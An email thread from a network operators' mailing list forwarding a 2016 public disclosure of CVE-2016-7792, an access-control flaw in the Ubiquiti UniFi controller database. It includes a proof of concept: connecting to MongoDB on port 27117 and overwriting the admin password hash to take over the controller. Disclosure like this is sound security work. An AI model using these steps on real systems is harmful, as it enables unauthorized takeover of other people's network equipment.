People do all kinds of things for all kinds of (dumb) reasons.
The controller's db would not be accessible on the internet, but any
wifi user might be able to do the exploit unless you take measures to
prevent it.
------ Original Message ------
From: "Paul Stewart" <[email protected]>
To: "Animal Farm" <[email protected]>
Sent: 10/3/2016 4:10:28 AM
Subject: [AFMUG] Fwd: [FD] Critical Vulnerability in Ubiquiti UniFi
Don’t have time to test this out but thought I’d pass this along ….
My first thought is why anyone would have their ports exposed across
the internet to allow this to happen, if it’s possibly true….
Paul
Begin forwarded message:
From: Tim Schughart <[email protected]>
Subject: [FD] Critical Vulnerability in Ubiquiti UniFi
Date: September 30, 2016 at 5:49:26 AM EDT
To: [email protected], [email protected],
[email protected]
Cc: "Khanh Quoc. Pham" <[email protected]>
Hello @all,
together with my colleague we found two uncritical vulnerabilities
you'll find below.
Product: UniFi AP AC Lite
Vendor: Ubiquiti Networks Inc.
Internal reference: ? (Bug ID)
Vulnerability type: Incorrect access control
Vulnerable version: Unify 5.2.7 and possible other versions affected
(not tested)
Vulnerable component: Database
Report confidence: yes
Solution status: Not fixed by Vendor, the bug is a feature.
Fixed versions: -
Researcher credits: Tim Schughart, Immanuel Bär, Khanh Quoc Pham of
ProSec Networks
Solution date: -
Public disclosure: 2016-09-30
CVE reference: CVE-2016-7792
CVSSv3: 8.8 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability Details:
You are able to connect to the access points database, because of an
broken authentication (OWASP TOP10). So you are able to modify the
database and read the data. An possible scenario you'll find in PoC
section.
Risk:
An attacker gets access to the database and for e.g. is able to change
the admins password, like you see in PoC below.
PoC:
1. Generate SHA512 Hash with e.g.
mkpasswd -m sha-512
2. Connect via network to database, e.g. :
mongo --port 27117 --host target_ip
3. Change password via command
"db.admin.update({"name":"ProSec"}, {$set : {"x_shadow":
"$6$Se9i5I7k3hI8d4bk$CqEXRUwk7c7A/62E/HcC4SrMSLOrBdm7wRvwTS4t.nNJA3RYta0RfzJpuREg.qcAHsPGW9Gjwm3krJROXzbCv."}})"
4. Login via web interface with new password
Best regards / Mit freundlichen Grüßen
Tim Schughart
CEO / Geschäftsführer
--
ProSec Networks e.K.
Ellingshohl 82
56077 Koblenz
Website: https://www.prosec-networks.com
E-Mail: [email protected]
Mobile: +49 (0)157 7901 5826
Phone: +49 (0)261 450 930 90
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